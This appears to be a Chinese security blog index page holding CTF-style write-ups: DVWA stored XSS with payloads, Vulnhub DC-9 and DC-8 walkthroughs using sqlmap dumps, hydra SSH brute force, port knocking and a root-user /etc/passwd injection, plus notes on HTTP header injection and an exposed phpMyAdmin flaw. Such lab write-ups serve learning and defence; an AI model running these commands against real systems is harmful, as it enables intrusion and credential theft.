宝塔昨天给每位注册用户基本上都发了这样一条消息经过询问一些大佬,得知是phpmyadmin登录的一个问题具体如下,在访问 IP:888/pma/ 的时候,不需要验证mysql账号密码即可以登录phpmyadmin如这个服务器这个服务器已经修复了这个服务器可以看到,不管是apache还是NGINX统统遭殃可以正常查询所有信息甚至是某政府网站。。。。也遭殃了漏洞修复@@@升级脚本@@@
2020年08月24日
95 阅读
1 评论
0 点赞
2020-05-17
DVWA-10.1 Stored Cross Site Scripting (XSS)
存储型xss的不同之处在于它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多。Low服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> 相关函数说明trim(string,charlist)函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。mysql_real_escape_string(string,connection)函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。stripslashes(string)函数删除字符串中的反斜杠。可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。漏洞利用message一栏输入<script>alert(1)</script>成功弹框:用户名无法做XSS,因为有用户名长度限制,当然也可以在控制台来完成修改。Medium服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> 相关函数说明strip_tags()strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用标签。addslashes()addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了漏洞利用同反射型XSS一样,可以用大小写绕过也可以用双写绕过。但是由于Name字段的限制这里就采用Burp来改包了。High服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。漏洞利用同之前的反射型XSS方法一样,Burp改包即可,抓包改name参数为<img src=1 onerror=alert(/xss/)>Impossible服务器端核心代码<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?> 可以看到,通过使用htmlspecialchars函数,解决了XSS。
2020年05月17日
76 阅读
0 评论
0 点赞
2020-05-03
Vulnhub靶场之DC-9
首先继续使用arp-scan -l获取靶机的地址目标ip 192.168.75.142接下来使用nmap获取更多的相关信息nmap -sS -A -p 1-65535 192.168.75.142不出所料,又是熟悉的80-22两个端口那也不出所料的直接访问80一个显示职员的页面,但是在manage.php中可以进行登录,这里我们肯定要得到管理员账户密码,每个页面进行模糊测试,发现在results.php中存在严重的POST类型SQL注入。sqlmap -u "http://192.168.75.142/results.php" --data "search=1" --dbs?????被我扫死了?重启一下虚拟机看看正常了(汗)可以看到有一个user库,看看里面有什么东西sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users --tablessqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users -T UserDetails --dump这里是那些员工这账号和密码,后面可能会用到,先放着,然后再回过来爆另一个员工库看看会有什么东西:sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff --tablessqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T StaffDetails --dumpsqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T Users --dump直接使用这个账号密码登录后台试试看可以看见它多了一个Add Record选项,并无什么有用的东西,再看它下面的那句话:File does not exist ,它说文件不存在,这里就很可以了,随即联想到这里是不是存在LFI漏洞,类似前某一次的DC。emmmpasswd文件风评被害。。。所以说LFI是存在的,但是做到这里的时候就卡住了,不知该如何进行下去在CSDN参考了一些大佬的做法,晓得这里用的是端口敲门:原理简单分析: 端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。 简单来说就是:知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号,用LFI把这个文件爆出来:知道端口号后,然后进行敲门,使用nmap即可:nmap -p 7469 192.168.1.109 nmap -p 8475 192.168.1.109 nmap -p 9842 192.168.1.109然后再用namp看一下靶机的ssh服务是否可以正常利用:nmap -p22 192.168.75.142可以看见,ssh服务已经可以利用了,但是需要登录凭证,然后我们把前面所爆出来的那些员工的账号和密码编写成两个字典hydra -L user.txt -P passwd.txt 192.168.75.142 ssh真棒,有一个是管理员用户就先选用这个janitor用户登录ssh janitor@192.168.75.142登录进来以后先查看一下都有什么嗯?密码文件?再爆破?加到刚刚那个里面试试看再次hydra起爆......登录吧。。话不多说,直接看可操作的sudosudo -l在这里我们可以看到,这个用户可以sudo使用root权限在运行一个test程序,而且不需要密码,然后我们先进去这个保存文件测试的位置看一下这是个什么程序:python脚本是一个python脚本。既然拥有root权限,那现在我们要做的就是构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限。回到kali使用openssl工具先创建一个本地的加密用户:openssl passwd -1 -salt admin 111111然后回到靶机中,去到那个程序的目录下用echo命令在/tmp目录下创建一个名为aaa的文件(这个文件名可以自定义),再使用sudo用那个test程序来运行这个文件,随后切换成我们添加的这个用户,输入自己设定的密码就可以成功提权到root用户了,最后进入root目录下查看flag即可。echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaasudo ./test /tmp/aaa /etc/passwdsu admincd /rootcat theflag.txt至此,1-9靶机除了dc3有问题以外,全部通关
2020年05月03日
93 阅读
0 评论
0 点赞
2020-05-01
Vulnhub靶场之DC-8
废话不多说。还是老规矩先安装上虚拟机然后一波arp-scan -l查找目标主机192.168.75.141使用nmap查询更多信息nmap -sS -A -p 1-65535 192.168.75.141不要说,肯定又是80 22访问看看吧又双叒叕是Drupal的系统。。。。看看页面上有没有什么问题吧。。。嗯??见ID就想起注入,,,搞不好还真有,,,and测试看看?好像还真有问题,上sqlmap一把嗦看看sqlmap -u "http://192.168.75.141/?nid=1"666还真的有,继续看看能不能爆表出来sqlmap -u "http://192.168.75.141/?nid=1" --dbssqlmap -u "http://192.168.75.141/?nid=1" -D d7db --tables吧users表导出看看有没有什么东西sqlmap -u "http://192.168.75.141/?nid=1" -D d7db -T users --dump两个用户、、、hash密码用John爆破。。。用御剑扫到robots文件发现登陆点,用john账号登录经过搜索发现一个问题,可以运行php代码在联系我们的这个设置项里边和DC-7的靶场有异曲同工之妙。。。试着反弹shell,(需要注意的是在php代码前面最好写一些字符,否则代码无法执行,不知道什么逻辑)获取到shell了很明显,又是熟悉的www-data权限寻找标志位为s的文件看到可疑文件exim4查看版本查到了poc将红框内的文件使用wget下载到靶机chmod +x但是这里有个问题,这个脚本是在windows下开发,每行的结尾都有^M,所以需要删除每一行结尾的^M方法:vi 46996.sh:%s/^M//g:wq
2020年05月01日
77 阅读
0 评论
0 点赞
2020-04-29
关于什么是HTTP头注入
HOST注入在以往http1.0中并没有host字段,但是在http1.1中增加了host字段,并且http协议在本质也是要建立tcp连接,而建立连接的同时必须知道对方的ip和端口,然后才能发送数据。既然已经建立了连接,那host字段到底起着什么样的的作用?Host头域指定请求资源的Intenet主机和端口号,必须表示请求url的原始服务器或网关的是比如www.test.com和mail.test.com两个域名IP相同,由同一台服务器支持,服务器可以根据host域,分别提供不同的服务,在客户端看来是两个完全不同的站点。Host头实验总结:在http 1.1中不能缺失host字段,如果缺失, 服务器返回400 bad request,http1.1中不能缺失host字段,但host字段可以是空值。密码重置毒相信大家忘记密码时,使用邮箱找回密码并不陌生。看上去貌似能可靠只能发送到你绑的邮箱去重置密码。并且使用你自己独特的密钥令牌才能重置成功。但是好多cms和实际场景为了获取网站的域名拼接秘钥令牌的方式将连接发送到你的邮箱。但是往往获取正确的域名并不是十分的不容易, 然而用一个固定的URI来作为域名会有各种麻烦。所以一般程序员会采用(java)request.getHeader(“Host”); (php)$_SERVER['HTTP_HOST']的方式来获取域名。上面所述的两种获取域名的方法并不可靠。都可以人为的去控制。导致当域名和令牌拼接时,攻击者通过篡改hsot值生成钓鱼连接,当受害者点击时,受害者的秘钥令牌将会直接发送到攻击者的服务器上。使其受害者的密码被攻击者篡改XSS:有些网站会根据HTTP_HOST字段来进行加载css样式表。如果要为固定的话,当域名发生改变时,那么站内所有的css即将失效。而且修改的时候也将的十分头疼,因为每个页面都会引用大量的公共资源。web缓存中毒简单描述:Web缓存服务器的应用模式主要是正向代理和反向代理。正向代理(Proxy)模式是代理网络用户访问internet,客户端将本来要直接发送到internet上源服务器的连接请求发送给代理服务器处理。正向代理的目的是加速用户在使用浏览器访问Internet时的请求响应时间,并提高广域网线路的利用率。正向代理浏览器无需和该站点建立联系,只访问到Web缓存即可。通过正向代理,大大提高了后续用户的访问速度,使他们无需再穿越Internet,只要从本地Web缓存就可以获取所需要的信息,避免了带宽问题,同时可以大量减少重复请求在网络上的传输,从而降低网络流量,节省资费。思路:Apache接收到一个带有非法host header的请求,它会将此请求转发给在 httpd.conf 里定义的第一个虚拟主机。因此,Apache很有可能将带有任意host header的请求转发给应用。X-Forwarded-For注入:大家有没有见过这样一种场景,当你对用户网站进行的爆破或者sql注入的时候,为了防止你影响服务器的正常工作,会限制你访问,当你再次访问时,会提示你的由于你的访问频过快或者您的请求有攻击行为,限制访问几个小时内不能登陆,并且重定向到一个错误友好提示页面。由此可以发起联想?http是无状态连接,而且自己也清空了COOKIE信息,服务器是怎么还是自己的?首先当你有攻击行为的时候,服务器一般会把恶意用户的ip存入数据库。当每次用户请求的时候(以java语言为例),服务器通过request.getRemoteAddr()这个方法来获取请求者的ip。于是想到这个ip我们自己到底能不能伪造?答案是否定的。因为经过测试request.getRemoteAddr并不会回从数据包的请求头去获取ip字段的Value。所以推测ip地址是ip包中的soure来的,当我们发送http请求时是否可以更新soure ip来绕过限制呢,这个可以有!,但是你将不会收到对方的响应,因为在正常的TCP/IP通信中,伪造数据包来源 IP会让发送出去的数据包返回到伪造的IP上,无法实现正常的通信。这样我们也就失去的绕过的意义。User-Agent注入User-Agent、Content-Type等只要是http包中存在的都可以进行篡改。在这再说下User-Agent的头注入和Content-Type的头注入,其他的就不详细赘述。基本原理大同小异。最后会进行总结。一般使用user-Agent,有两种场景一是记录访问者的信息,如什么浏览器、操作系统版本等。二是获取客户的user-Agent,根据你提供的信息来给你推送不同的网页。如果你手机手机访问那么返回你的页面将是小型的web界面,还有各种浏览器的特性,推送相兼容的页面。此时已经进行的数据库的入库和查询操作,如果没对此做过滤那么漏洞就产生了。Content-Type注入远程命令执行Content-Type看见这个字段相信大家都不陌生,例如S2-045的远程命令执行。当Jkarta解析文件上传请求包不当,当攻击者使用恶意的Content-Type,会导致上传发生异常。从而导致Str2框架对Content-Type的内容进行ongl的解析导致命令执行。这个漏洞虽然要涉及Jkarta插件,而arta插件ommons-fileupload和commons-io包,但是这是Str2的默认插件。也就是说基本所有开发使用到上传都会导入这两个依赖包。最重要的是这个漏洞不需要真正的上传只需进行模拟上传即可,甚至可以是GET请求。
2020年04月29日
128 阅读
0 评论
0 点赞
1
...
28
29
30
31